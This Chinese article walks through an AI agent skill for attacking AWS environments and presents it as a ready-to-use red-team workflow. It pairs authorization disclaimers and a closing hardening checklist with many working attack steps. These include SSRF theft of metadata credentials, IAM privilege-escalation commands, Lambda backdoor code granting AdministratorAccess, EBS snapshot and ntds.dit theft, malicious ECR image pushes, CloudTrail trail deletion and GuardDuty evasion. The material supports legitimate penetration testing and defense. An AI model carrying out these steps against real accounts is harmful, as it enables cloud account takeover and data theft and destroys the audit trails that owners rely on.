- AI 技能
- AI 插件
【免费下载链接】agentic-awesome-skills
AAS Core is the local, agent-first control plane for complete catalog discovery, agent-owned selection, stack validation, and planning, backed by 2,400+ agentic skills. Includes CLI, local MCP, catalog, plugins, and Workbench.
导读
本文以开源仓库agentic-awesome-skills的插件技能库中 aws-penetration-testing/SKILL.md 为骨架,系统拆解在 AWS 云环境中开展授权渗透测试的完整方法论:从身份与权限枚举、元数据 SSRF 攻击(IMDSv1/v2、Fargate 容器凭证)、IAM 权限提升,到 S3 桶利用、Lambda 代码提取、SSM 命令执行与持久化技术。读完本文,你将掌握一套可直接落地的红队操作工作流(含完整 CLI 命令与 Python 载荷)、关键攻击链的底层原理(结合仓库中 进阶参考文档 展开),以及合规红线——该技能在仓库中被明确标记为risk: offensive,仅允许用于获得书面授权的安全评估、防御性验证或受控教学环境。
⚠️ 授权使用声明(来自原技能文档)本技能仅用于教育目的或经授权的安全评估。在使用前,你必须获得系统所有者的明确书面许可。滥用本技能是违法行为,且被严格禁止。
强制确认门(Mandatory confirmation gate):在运行任何对目标进行探测、利用、修改、持久化、数据提取或凭据访问的命令之前:
- 要求用户明确说出目标的确切 URL、IP、账户或资源;
- 要求用户确认书面授权与允许的范围;
- 展示将执行的确切命令并解释其预期效果;
- 等待当前会话中的明确确认。
未获得确认前,应保持只读操作,仅提供防御性建议,并优先使用沙箱、一次性虚拟机或受控实验环境。
一、技能定位:仓库中的进攻性安全技能
该技能位于plugins/agentic-awesome-skills-claude/skills/aws-penetration-testing/目录,包含两个文件:主文档 SKILL.md 与进阶参考文档 references/advanced-aws-pentesting.md。
从技能头部元数据可以看到仓库对该技能的定位:
name: aws-penetration-testing description: "Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations." risk: offensive source: community author: zebbern date_added: "2026-02-27"risk: offensive明确标识该技能属于进攻性安全范畴,需要在授权边界内使用;source: community表示该技能由社区贡献并收录进技能索引。
仓库中其他技能也会引用它:例如 cloud-devops/SKILL.md 将aws-penetration-testing归类为 "AWS security" 相关技能(见该文件第 140 行),并把它列入推荐的 AWS 技能组合中(第 205 行:aws-skills, aws-serverless, aws-penetration-testing)。这说明该技能在仓库的云安全技能体系中承担"攻击视角验证与红队测试"的职责,与常规的云运维技能形成互补。
该技能设计的目标输出(Deliverables)包括:IAM 权限提升路径、提取的凭据与密钥、被攻陷的 EC2/Lambda/S3 资源、持久化机制,以及安全审计发现清单。
二、前置条件与工具链
2.1 输入/前置条件
开始执行前需要具备:
- AWS CLI 已配置凭据(
aws configure); - 有效的 AWS 凭据(即使是低权限凭据也可作为攻击起点);
- 对 AWS IAM 权限模型的基本理解(用户、组、角色、策略、信任关系);
- Python 3 与
boto3库(用于编写利用载荷); - 以下渗透测试工具中的全部或部分。
2.2 核心工具清单
| 工具 | 用途 | 安装方式 |
|---|---|---|
| Pacu | AWS 利用框架(攻击流程自动化,自带用户代理伪装) | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | Shadow Admin(影子管理员)发现 | Import-Module .\SkyArk.ps1 |
| Prowler | 安全审计 | pip install prowler |
| ScoutSuite | 多云审计 | pip install scoutsuite |
| enumerate-iam | 权限枚举(探测每项 IAM 权限是否可用) | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | IAM 关系与权限路径分析 | pip install principalmapper |
2.3 进阶工具扩展(来自参考文档)
进阶参考文档 还补充了一组进阶工具:
- weirdAAL:AWS 攻击库,按模块调用 API 探测可利用权限,例如:
python3 weirdAAL.py -m ec2_describe_instances -t demo python3 weirdAAL.py -m lambda_get_account_settings -t demo python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' - cloudmapper:AWS 环境分析器,生成 HTML 报告、IAM 专项报告,检查错误配置:
git clone https://github.com/duo-labs/cloudmapper.git pipenv install --skip-lock pipenv shell # report(HTML 报告)/ iam_report(IAM 报告)/ audit(错误配置检查) # collect(收集账户元数据)/ find_admins(识别管理员用户与角色) - cloudsplaining:IAM 安全评估,下载并扫描账户的 IAM 策略:
pip3 install --user cloudsplaining cloudsplaining download --profile myawsprofile cloudsplaining scan --input-file default.json - s3_objects_check:S3 对象权限双视角(白盒/黑盒)检查:
python s3-objects-check.py -p whitebox-profile -e blackbox-profile - dufflebag:利用 Amazon EBS "public" 模式发现暴露的磁盘中的密钥。
三、核心工作流(一):初始枚举与身份确认
红队操作的起点永远是确认当前身份与权限边界。原文档给出的标准流程如下:
# 1. 检查当前身份(谁在说话) aws sts get-caller-identity # 2. 为已获取的凭据配置独立 profile,避免污染本机默认凭据 aws configure --profile compromised # 3. 列出当前用户的访问密钥 aws iam list-access-keys # 4. 使用 enumerate-iam 批量探测可用权限 ./enumerate-iam.py --access-key AKIA... --secret-key StF0q...要点说明:
aws sts get-caller-identity返回的Arn字段能告诉我们当前身份是 IAM 用户还是被假设的角色,这直接决定后续枚举方向;- 将失陷凭据单独放入
--profile compromised是良好的操作习惯:便于审计,也避免与红队自己的合法凭据混淆; enumerate-iam会尝试调用数百个 AWS API,通过观察哪些调用返回Access Denied、哪些返回其他错误来绘制权限地图,是低权限起点下最有效的侦察手段之一。
四、核心工作流(二):IAM 枚举
拿到一个 IAM 用户身份后,系统性枚举其权限路径:
# 列出所有用户 aws iam list-users # 列出用户所属的组 aws iam list-groups-for-user --user-name TARGET_USER # 列出附加到用户的托管策略 aws iam list-attached-user-policies --user-name TARGET_USER # 列出用户的内联策略 aws iam list-user-policies --user-name TARGET_USER # 获取策略详情 aws iam get-policy --policy-arn POLICY_ARN aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1 # 列出角色 aws iam list-roles aws iam list-attached-role-policies --role-name ROLE_NAME枚举原则:只列出用户/策略名称还不够,必须拉取策略的具体版本内容(
get-policy-version)才能看清语句中的Action、Resource和条件键。很多"影子管理员"权限恰恰藏在内联策略或托管策略版本中。这正是Principal Mapper(pip install principalmapper)这类工具存在的意义——它能把 IAM 实体与策略之间的关系可视化成权限图,快速定位可被利用的提权链路。
五、核心工作流(三):元数据端点 SSRF(EC2 / ECS / Fargate)
5.1 IMDSv1:直接访问
AWS 实例元数据服务(Instance Metadata Service)地址固定为169.254.169.254。当应用存在 SSRF 漏洞且实例未启用 IMDSv2 强制模式时,可借此获取角色临时凭据:
# 访问元数据根路径 http://169.254.169.254/latest/meta-data/ # 获取 IAM 角色名 http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 提取临时凭据(替换 ROLE-NAME) http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME响应中包含一组临时凭据:
{ "AccessKeyId": "ASIA...", "SecretAccessKey": "...", "Token": "...", "Expiration": "2019-08-01T05:20:30Z" }注意其中的Expiration字段:临时凭据会轮换过期,攻击者需要周期性回源刷新。
5.2 IMDSv2:先取 Token 再访问
AWS 从 2023 年起逐步强制 IMDSv2,该版本要求先通过 PUT 请求获取会话 Token:
# 1. 获取 Token(TTL 单位为秒,21600 = 6 小时) TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \ "http://169.254.169.254/latest/api/token") # 2. 携带 Token 访问元数据 curl -H "X-aws-ec2-metadata-token:$TOKEN" \ "http://169.254.169.254/latest/meta-data/iam/security-credentials/"如果目标实例强制 IMDSv2,那么不带 Token 的请求会返回401 Unauthorized。这也解释了原文档"约束"一节中强调的探测顺序:先判断目标实例的 IMDS 版本,再决定攻击路径。
5.3 ECS/Fargate 容器凭据
在容器场景中,元数据地址与路径不同:
# 1. 先读取进程环境变量,定位凭据相对路径 /proc/self/environ # 关注:AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/... # 2. 用相对 URI 访问容器凭证端点(地址为 169.254.170.2) http://169.254.170.2/v2/credentials/CREDENTIAL-PATH这是 ECS 任务角色(task role)凭据的获取方式,常用于从容器逃逸或 RCE 场景中提取容器所在角色的权限。
5.4 实战案例:SSRF 提权到管理员(原文档 Example 1)
# 1. 在 Web 应用中发现 SSRF 漏洞 https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # 2. 从响应中读取角色名 # 3. 提取该角色的临时凭据 https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole # 4. 用偷取的凭据配置环境变量 export AWS_ACCESS_KEY_ID=ASIA... export AWS_SECRET_ACCESS_KEY=... export AWS_SESSION_TOKEN=... # 5. 验证访问 aws sts get-caller-identity这条链路(SSRF → IMDS → 临时凭据 → CLI 接管)是 AWS 云环境中最高频的初入路径之一,本技能将其完整封装为可复现的命令序列。
六、IAM 权限提升技术
6.1 Shadow Admin(影子管理员)权限表
以下权限单独或组合出现时,几乎等同于管理员权限:
| 权限 | 利用方式 |
|---|---|
iam:CreateAccessKey | 为管理员用户创建新的访问密钥 |
iam:CreateLoginProfile | 为任意用户设置登录密码 |
iam:AttachUserPolicy | 将管理员策略附加到自己身上 |
iam:PutUserPolicy | 添加内联管理员策略 |
iam:AddUserToGroup | 把自己加入管理员组 |
iam:PassRole+ec2:RunInstances | 启动带管理员角色的 EC2 实例 |
lambda:UpdateFunctionCode | 向 Lambda 注入恶意代码 |
6.2 具体利用命令
为其他用户创建访问密钥:
aws iam create-access-key --user-name target_user给自己附加管理员托管策略:
aws iam attach-user-policy --user-name my_username \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess添加内联管理员策略(策略文档从本地文件读取):
aws iam put-user-policy --user-name my_username \ --policy-name admin_policy \ --policy-document file://admin-policy.json其中admin-policy.json是一个允许全部操作的策略文档,例如:
{ "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": "*", "Resource": "*" } ] }6.3 Lambda 提权:注入后门代码
当目标身份拥有lambda:UpdateFunctionCode权限时,可以编写一个在函数被调用时执行 IAM 提权的lambda_handler,然后上传恶意 ZIP 覆盖原函数:
# code.py - 注入到目标 Lambda 函数中 import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return response# 更新 Lambda 函数代码(触发一次函数调用即可完成提权) aws lambda update-function-code --function-name target_function \ --zip-file fileb://malicious.zip进阶参考文档 还给出了一个更强的"Lambda 后门"变体——同时对角色和用户附加管理员策略,并返回Pwned状态码:
import boto3 import json def handler(event, context): iam = boto3.client("iam") iam.attach_role_policy( RoleName="role_name", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) iam.attach_user_policy( UserName="user_name", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess" ) return {'statusCode': 200, 'body': json.dumps("Pwned")}# 上传后门并触发 aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT七、S3 桶利用
7.1 桶发现
- 使用
bucket_finder配合字典文件爆破公开桶名:./bucket_finder.rb wordlist.txt ./bucket_finder.rb --download --region us-east-1 wordlist.txt - 常见的桶 URL 模式(可作为黑盒验证目标):
https://{bucket-name}.s3.amazonaws.com https://s3.amazonaws.com/{bucket-name} - 也可借助公开的桶搜索站点(如
buckets.grayhatwarfare.com)检索历史公开桶(仅限授权范围内的信息收集)。
7.2 桶枚举与下载(有凭据场景)
# 列出当前凭据可访问的所有桶 aws s3 ls # 递归列出桶内容 aws s3 ls s3://bucket-name --recursive # 同步下载全部文件(用于离线分析泄露的密钥/配置文件) aws s3 sync s3://bucket-name ./local-folderS3 的常见问题包括:桶策略误配导致公开读写、ListBucket权限泄露对象名、对象 ACL 宽松导致敏感数据可读。s3_objects_check(白盒 profile + 黑盒 profile 对比)正是用于系统化发现这类权限漂移。
八、Lambda 函数利用与代码提取
# 列出账户内所有 Lambda 函数 aws lambda list-functions # 获取函数代码(响应中会返回一个可下载代码的预签名 URL) aws lambda get-function --function-name FUNCTION_NAME # 调用函数(验证函数行为 / 触发后门) aws lambda invoke --function-name FUNCTION_NAME output.txt进阶参考文档 将 Lambda 枚举延伸为完整链路:
# 获取函数详情并下载代码 aws lambda get-function --function-name FUNCTION_NAME wget -O lambda-function.zip "url-from-previous-query" # 获取函数策略(检查是否可被外部触发) aws lambda get-policy --function-name FUNCTION_NAME # 列出事件源映射(了解什么事件会触发该函数) aws lambda list-event-source-mappings --function-name FUNCTION_NAME # 列出并拉取 Lambda Layer(依赖层中常藏有密钥) aws lambda list-layers aws lambda get-layer-version --layer-name NAME --version-number VERSION从 Lambda 运行时获取凭据的三种入口(RCE/SSRF 场景):
# 1. 通过 RCE 读取环境变量(环境变量中常存有数据库口令、API Key) https://apigateway/prod/system?cmd=env # 2. 通过 SSRF 访问运行时 API(9001 端口) https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/ # 3. 通过文件读取 /proc/self/environ https://apigateway/prod/system?cmd=file:///proc/self/environAPI Gateway 枚举
配合 Lambda 使用的 API Gateway 也是信息收集重点:
# 列出 REST API aws apigateway get-rest-apis # 获取 API 详情 aws apigateway get-rest-api --rest-api-id ID # 列出端点(资源) aws apigateway get-resources --rest-api-id ID # 获取方法详情 aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET # 列出部署阶段 aws apigateway get-stages --rest-api-id ID # 列出 API Key(--include-values 直接带出密钥值) aws apigateway get-api-keys --include-values九、SSM 命令执行(横向移动)
如果当前身份具备ssm:SendCommand权限,就可以在受管 EC2 实例上直接执行 Shell 命令——这是 AWS 中最高效的"远程 RCE 通道"之一:
# 1. 列出受管实例 aws ssm describe-instance-information # 2. 在目标实例上执行命令(示例为 whoami 探测) aws ssm send-command --instance-ids "i-0123456789" \ --document-name "AWS-RunShellScript" \ --parameters commands="whoami" # 3. 拉取命令执行输出 aws ssm list-command-invocations --command-id "CMD-ID" \ --details --query "CommandInvocations[].CommandPlugins[].Output"十、EC2 卷级利用
10.1 挂载目标 EBS 卷(离线读数据)
当身份具备 EC2 快照/卷权限时,可以"搬走"目标实例的磁盘内容:
# 1. 为目标卷创建快照 aws ec2 create-snapshot --volume-id vol-xxx --description "Audit" # 2. 从快照创建新卷 aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a # 3. 挂载到攻击者控制的实例 aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf # 4. 在实例内挂载并读取数据 sudo mkdir /mnt/stolen sudo mount /dev/xvdf1 /mnt/stolen10.2 CloudCopy:Windows 域控的"影子拷贝"攻击
针对 Windows 域控的经典 CloudCopy 手法:
# 1. 创建域控卷快照 # 2. 将快照共享给攻击者账户 # 3. 在攻击者实例中挂载 # 4. 提取 NTDS.dit 与 SYSTEM 注册表配置单元,离线破解域哈希 secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local这条链路把云原生快照能力与经典 Windows 域渗透(ntds.dit 提取)结合,是混合环境红队评估的常用手法。
十一、API Key 转控制台访问
CLI 凭据通常无法直接用于 Web 控制台登录,需要转换成签名登录 URL:
git clone https://github.com/NetSPI/aws_consoler aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY # 输出可用于浏览器登录的 console signin URL转换成功后,即可在控制台以该身份进行 GUI 操作(浏览 S3、查看 CloudTrail、访问需要控制台会话的功能),这也是从 API 失陷走向完整账户接管的关键一步。
十二、痕迹清理(Covering Tracks)
本节内容仅在授权渗透测试的既定范围内适用,且必须遵守原文档"约束"节中的红线(见下文)。
12.1 削弱 CloudTrail 审计
# 删除跟踪 aws cloudtrail delete-trail --name trail_name # 关闭全局服务事件记录(管理平面事件仍可能记录) aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events # 关闭多区域跟踪(缩小记录范围) aws cloudtrail update-trail --name trail_name \ --no-include-global-service-events --no-is-multi-region-trail12.2 User-Agent 规避
原文档明确提示:Kali/Parrot/Pentoo 等发行版的默认用户代理会触发 GuardDuty 告警。建议改用 Pacu——它内置了自定义 User-Agent 机制,可降低被监控平台特征检测的概率。
十三、快速参考速查表
| 任务 | 命令 |
|---|---|
| 获取身份 | aws sts get-caller-identity |
| 列出用户 | aws iam list-users |
| 列出角色 | aws iam list-roles |
| 列出桶 | aws s3 ls |
| 列出 EC2 | aws ec2 describe-instances |
| 列出 Lambda | aws lambda list-functions |
| 获取元数据 | curl http://169.254.169.254/latest/meta-data/ |
十四、进阶扩展:凭据泄露型 API 与更多服务利用
进阶参考文档 总结了所有会直接返回凭据的 AWS API——这是权限枚举时最值得优先探测的高价值调用:
| API 调用 | 说明 |
|---|---|
chime:createapikey | 创建 API Key |
codepipeline:pollforjobs | 轮询任务 |
cognito-identity:getopenidtoken | 获取 OpenID Token |
cognito-identity:getcredentialsforidentity | 获取身份凭据 |
connect:getfederationtoken | 获取联合 Token |
ecr:getauthorizationtoken | ECR 认证 Token |
gamelift:requestuploadcredentials | GameLift 上传凭据 |
iam:createaccesskey | 创建访问密钥 |
iam:createloginprofile | 创建登录配置 |
iam:createservicespecificcredential | 创建服务专用凭据 |
lightsail:getinstanceaccessdetails | 获取实例访问详情 |
lightsail:getrelationaldatabasemasteruserpassword | 获取数据库主密码 |
rds-db:connect | RDS 连接 |
redshift:getclustercredentials | Redshift 凭据 |
sso:getrolecredentials | SSO 角色凭据 |
sts:assumerole | 角色切换 |
sts:assumerolewithsaml | SAML 角色切换 |
sts:assumerolewithwebidentity | Web 身份角色切换 |
sts:getfederationtoken | 获取联合 Token |
sts:getsessiontoken | 获取会话 Token |
14.1 Secrets Manager 与 KMS
# Secrets Manager 枚举与读取 aws secretsmanager list-secrets aws secretsmanager describe-secret --secret-id NAME aws secretsmanager get-resource-policy --secret-id ID aws secretsmanager get-secret-value --secret-id ID # KMS 密钥枚举 aws kms list-keys aws kms describe-key --key-id ID aws kms list-key-policies --key-id ID aws kms get-key-policy --policy-name NAME --key-id ID # KMS 解密(密文自带密钥元数据,可离线解密) aws kms decrypt --ciphertext-blob fileb://EncryptedFile --output text --query plaintext14.2 容器安全(ECS / EKS / ECR)
# ECR 仓库枚举 aws ecr describe-repositories aws ecr get-repository-policy --repository-name NAME aws ecr list-images --repository-name NAME aws ecr describe-images --repository-name NAME --image-ids imageTag=TAG # ECS 集群与任务枚举(describe-tasks 可获取用于横向移动的网络信息) aws ecs list-clusters aws ecs describe-clusters --cluster NAME aws ecs list-services --cluster NAME aws ecs describe-services --cluster NAME --services SERVICE aws ecs list-tasks --cluster NAME aws ecs describe-tasks --cluster NAME --tasks TASK_ARN aws ecs list-container-instances --cluster NAME # EKS 集群枚举 aws eks list-clusters aws eks describe-cluster --name NAME aws eks list-nodegroups --cluster-name NAME aws eks describe-nodegroup --cluster-name NAME --nodegroup-name NODE_NAME aws eks list-fargate-profiles --cluster-name NAME # 容器后门:构建恶意镜像推送到 ECR aws ecr get-login-password --region REGION | docker login --username AWS --password-stdin ECR_ADDR docker build -t image_name . docker tag image_name ECR_ADDR:IMAGE_NAME docker push ECR_ADDR:IMAGE_NAME # 通过 RCE 读取 Pod 内 Kubernetes 服务账号 Token https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token14.3 RDS 数据库利用
# 枚举(重点关注 IAMDatabaseAuthenticationEnabled 是否为 false——false 表示使用密码认证) aws rds describe-db-clusters aws rds describe-db-instances aws rds describe-db-subnet-groups aws rds describe-db-security-groups aws rds describe-db-proxies # 密码认证直连 mysql -h HOSTNAME -u USERNAME -P PORT -p # IAM 认证:生成数据库认证 Token 后连接 TOKEN=$(aws rds generate-db-auth-token \ --hostname HOSTNAME \ --port PORT \ --username USERNAME \ --region REGION) mysql -h HOSTNAME -u USERNAME -P PORT \ --enable-cleartext-plugin --password=$TOKEN14.4 DynamoDB
# 列出表 aws dynamodb list-tables # 扫描全部内容 aws dynamodb scan --table-name TABLE_NAME | jq -r '.Items[]' # 按主键条件查询 aws dynamodb query --table-name TABLE_NAME \ --key-condition-expression "pk = :pk" \ --expression-attribute-values '{":pk":{"S":"user"}}'14.5 VPC 枚举与横向移动
# VPC 网络拓扑枚举 aws ec2 describe-vpcs aws ec2 describe-subnets --filters "Name=vpc-id,Values=VPC_ID" aws ec2 describe-route-tables --filters "Name=vpc-id,Values=VPC_ID" aws ec2 describe-network-acls aws ec2 describe-vpc-peering-connections # 通过 VPC Peering 横向移动:先列出对等连接,再枚举对端 VPC 实例 aws ec2 describe-vpc-peering-connections aws ec2 describe-instances --filters "Name=vpc-id,Values=VPC_ID" aws ec2 describe-instances --filters "Name=subnet-id,Values=SUBNET_ID"路由表目标类型(判断流量走向与可达性):
| 目标 | 说明 |
|---|---|
local | VPC 内部 |
igw | Internet 网关 |
nat | NAT 网关 |
pcx | VPC 对等连接 |
vpce | VPC 端点 |
vgw | VPN 网关 |
eni | 网络接口 |
十五、演练环境与防御自检
15.1 训练靶场(来自参考文档)
| 资源 | 说明 |
|---|---|
| AWSGoat | 故意构造漏洞的 AWS 基础设施 |
| Cloudgoat | AWS CTF 式演练场景 |
| Flaws | AWS 安全挑战 |
| SadCloud | Terraform 构建的漏洞 AWS 环境 |
| DVCA | 易受攻击的云应用 |
这些靶场用于在隔离、可销毁的环境中验证攻击链,完全符合原文档"优先使用沙箱、一次性虚拟机或受控实验环境"的约束。
15.2 安全基线自检清单(防御视角)
参考文档末尾给出了一套完整的加固基线,摘录核心条目:
身份与访问管理(IAM)
- 避免使用 root 账户进行日常操作
- 所有具备控制台访问权限的 IAM 用户启用 MFA
- 禁用超过 90 天未使用的凭据
- 每 90 天轮换访问密钥
- 密码策略:大写 + 小写 + 符号 + 数字,长度 ≥ 14 位
- 不存在 root 访问密钥;root 账户启用 MFA
- IAM 策略仅附加到组/角色(而非个人用户)
日志(Logging)
- 所有区域启用 CloudTrail
- 开启 CloudTrail 日志文件校验
- CloudTrail 的 S3 桶不公开可读
- CloudTrail 接入 CloudWatch Logs
- 所有区域启用 AWS Config
- CloudTrail 日志使用 KMS 加密,KMS 密钥开启轮换
网络(Networking)
- 不存在允许
0.0.0.0/0访问 22 端口的安全组 - 不存在允许
0.0.0.0/0访问 3389 端口的安全组 - 开启 VPC Flow Logs
- 默认安全组限制所有流量
监控(Monitoring)
- 未授权 API 调用告警
- 无 MFA 控制台登录告警
- root 账户使用告警
- IAM 策略变更告警
- CloudTrail 配置变更告警
- 控制台认证失败告警
- CMK 禁用/删除告警
- S3 桶策略变更告警
- 安全组变更告警
- NACL 变更告警
- VPC 变更告警
十六、约束与红线(Must / Must Not / Should)
原文档"Constraints"一节将操作边界明确化,这是执行任何授权测试都必须遵守的契约:
必须(Must):
- 测试前获得书面授权;
- 记录所有操作以形成审计轨迹;
- 仅测试范围内的资源。
禁止(Must Not):
- 未经批准修改生产数据;
- 未经记录留下持久后门;
- 永久禁用安全控制。
应当(Should):
- 在尝试元数据攻击前先检查 IMDSv2;
- 在利用前充分枚举;
- 测试结束后清理测试资源。
十七、常见问题排查(Troubleshooting)
| 问题 | 解决方案 |
|---|---|
| 所有命令返回 Access Denied | 使用 enumerate-iam 枚举实际可用权限 |
| 元数据端点被阻断 | 检查是否强制 IMDSv2,尝试容器元数据端点 |
| 触发 GuardDuty 告警 | 使用 Pacu 携带自定义 User-Agent |
| 凭据过期 | 从元数据端点重新获取(临时凭据会轮换) |
| CloudTrail 记录操作 | 评估禁用或日志混淆(仅在授权范围内) |
十八、总结:从技能文档到实战方法论
aws-penetration-testing技能在仓库中的定位是一个端到端的 AWS 红队操作手册:它覆盖了从"拿到一组合法(甚至低权限)凭据"到"枚举 → 提权 → 横移 → 持久化 → 清理"的完整攻击生命周期,并在每一步给出可直接执行的 AWS CLI 命令与 Python 载荷。
综合主文档 SKILL.md 与 references/advanced-aws-pentesting.md,可以提炼出三条贯穿始终的核心方法论:
- 枚举优先,利用在后:低权限身份下先画全权限地图(
enumerate-iam、Principal Mapper、cloudmapper、weirdAAL),再找最短提权路径; - 元数据端点是云环境的"软肋":IMDSv1/v2、ECS 容器凭据端点(
169.254.170.2)与 Lambda 运行时 API 共同构成了一条"无密钥接管"的快捷链路; - 一切以授权为前提:技能头部强制确认门 + 约束节红线 + 安全基线自检清单,共同保证该技能只能服务于授权测试与防御性验证。
对于防御方而言,本文同样是一份攻击视角的加固清单:按第十五节的安全基线逐项核验 IAM、日志、网络与监控配置,即可显著压缩上述攻击链的利用空间。
- AI 技能
- AI 插件
【免费下载链接】agentic-awesome-skills
AAS Core is the local, agent-first control plane for complete catalog discovery, agent-owned selection, stack validation, and planning, backed by 2,400+ agentic skills. Includes CLI, local MCP, catalog, plugins, and Workbench.
相关推荐
使用 Pacu 框架开展 AWS 云渗透测试:从 IAM 枚举到权限提升与持久化后门实战指南
使用 Pacu 框架开展 AWS 云渗透测试:从 IAM 枚举到权限提升与持久化后门实战指南 本文基于 skills/exploiting aws with p
网络安全AI 技能/插件渗透测试红蓝对抗如何快速上手 Kapitan:10分钟从零开始掌握高级配置管理
如何快速上手 Kapitan:10分钟从零开始掌握高级配置管理 Kapitan 是一款强大的通用模板化配置管理工具,专为 Kubernetes、Terrafor
CAI 红队 Agent 系统提示词深度解析:从网络枚举到提权的自动化渗透实践
CAI 红队 Agent 系统提示词深度解析:从网络枚举到提权的自动化渗透实践 导读 本文以 Cybersecurity AI CAI 框架中红队 Agent
人工智能AI Agent网络安全渗透测试工具调用AI 评测
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考